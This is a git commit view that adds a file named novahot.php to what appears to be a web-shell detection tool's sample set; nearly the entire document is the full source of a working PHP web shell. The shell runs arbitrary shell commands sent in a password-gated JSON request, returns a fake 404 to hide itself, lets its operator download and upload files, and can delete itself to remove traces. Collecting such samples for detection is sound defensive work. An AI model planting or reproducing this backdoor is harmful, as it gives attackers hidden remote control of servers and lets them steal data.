summaryrefslogtreecommitdiff
path: root/data/samples/real/novahot.php
diff options
context:
space:
mode:
authorMathieu Deous2022-05-02 20:18:23 +0200
committerGitHub2022-05-02 20:18:23 +0200
commit48936efa96ae17295be4e0a71be3294f0ec6aef8 (patch)
treef4e69551f1368aa048edf46b7b061600f3668329 /data/samples/real/novahot.php
parentbbc738e16f8b637afde58d65196374af98a5e0e2 (diff)
Make application go-install-able and create a docker image
Diffstat (limited to 'data/samples/real/novahot.php')
-rw-r--r--data/samples/real/novahot.php130
1 files changed, 130 insertions, 0 deletions
diff --git a/data/samples/real/novahot.php b/data/samples/real/novahot.php
new file mode 100644
index 0000000..a330580
--- /dev/null
+++ b/data/samples/real/novahot.php
@@ -0,0 +1,130 @@
1<?php
2
3# Tested on PHP 5.4.45 on Debian Wheezy.
4#
5# To test this trojan locally, run the following in the directory containing
6# this file:
7# php -S localhost:<port>
8
9# TODO: Change this password. Don't leave the default!
10define('PASSWORD', 'the-password');
11
12# Override the default error handling to:
13# 1. Bludgeon PHP `throw`-ing rather than logging errors
14# 2. Keep noise out of the error logs
15set_error_handler('warning_handler', E_WARNING);
16function warning_handler($errno, $errstr) {
17 throw new ErrorException($errstr);
18}
19
20# get the POSTed JSON input
21$post = json_decode(file_get_contents('php://input'), true);
22$cwd = ($post['cwd'] !== '') ? $post['cwd'] : getcwd();
23
24# feign non-existence if the authentication is invalid
25if (!isset($post['auth']) || $post['auth'] !== PASSWORD) {
26 header('HTTP/1.0 404 Not Found');
27 die();
28}
29
30# return JSON to the client
31header('content-type: application/json');
32
33# if `cmd` is a trojan payload, execute it
34if (function_exists($post['cmd'])) {
35 $post['cmd']($cwd, $post['args']);
36}
37
38# otherwise, execute a shell command
39else {
40 $output = [];
41
42 # execute the command
43 $cmd = "cd $cwd; {$post['cmd']} 2>&1; pwd";
44 exec($cmd, $output);
45 $cwd = array_pop($output);
46
47 $response = [
48 'stdout' => $output,
49 'stderr' => [],
50 'cwd' => $cwd,
51 ];
52
53 die(json_encode($response));
54}
55
56
57# File-download payload
58function payload_download ($cwd, $args) {
59
60 # cd to the trojan's cwd
61 chdir($cwd);
62
63 # open the file as binary, and base64-encode its contents
64 try {
65 $stdout = base64_encode(file_get_contents($args['file']));
66 $stderr = [];
67 }
68
69 # notify the client on failure
70 catch (ErrorException $e) {
71 $stdout = [];
72 $stderr = [ 'Could not download file.', $e->getMessage() ];
73 }
74
75 die(json_encode([
76 'stdout' => $stdout,
77 'stderr' => $stderr,
78 'cwd' => $cwd,
79 ]));
80}
81
82# File-upload payload
83function payload_upload ($cwd, $args) {
84
85 # cd to the trojan's cwd
86 chdir($cwd);
87
88 # base64-decode the uploaded bytes, and write them to a file
89 try {
90 file_put_contents( $args['dst'], base64_decode($args['data']));
91 $stderr = [];
92 $stdout = [ "File saved to {$args['dst']}." ];
93 }
94
95 # notify the client on failure
96 catch (ErrorException $e) {
97 $stdout = [];
98 $stderr = [ 'Could not save file.', $e->getMessage() ];
99 }
100
101 die(json_encode([
102 'stdout' => $stdout,
103 'stderr' => $stderr,
104 'cwd' => $cwd,
105 ]));
106}
107
108# Trojan autodestruct
109function payload_autodestruct ($cwd, $args) {
110
111 # attempt to delete the trojan
112 try {
113
114 unlink(__FILE__);
115 $stdout = [ 'File ' . __FILE__ . ' has autodestructed.' ];
116 $stderr = [];
117 }
118
119 # notify the client on failure
120 catch (ErrorException $e) {
121 $stdout = [];
122 $stderr = [ 'File ' . __FILE__ . ' could not autodestruct.'];
123 }
124
125 die(json_encode([
126 'stdout' => [ 'Instructed ' . __FILE__ . ' to autodestruct.' ],
127 'stderr' => [],
128 'cwd' => $cwd,
129 ]));
130}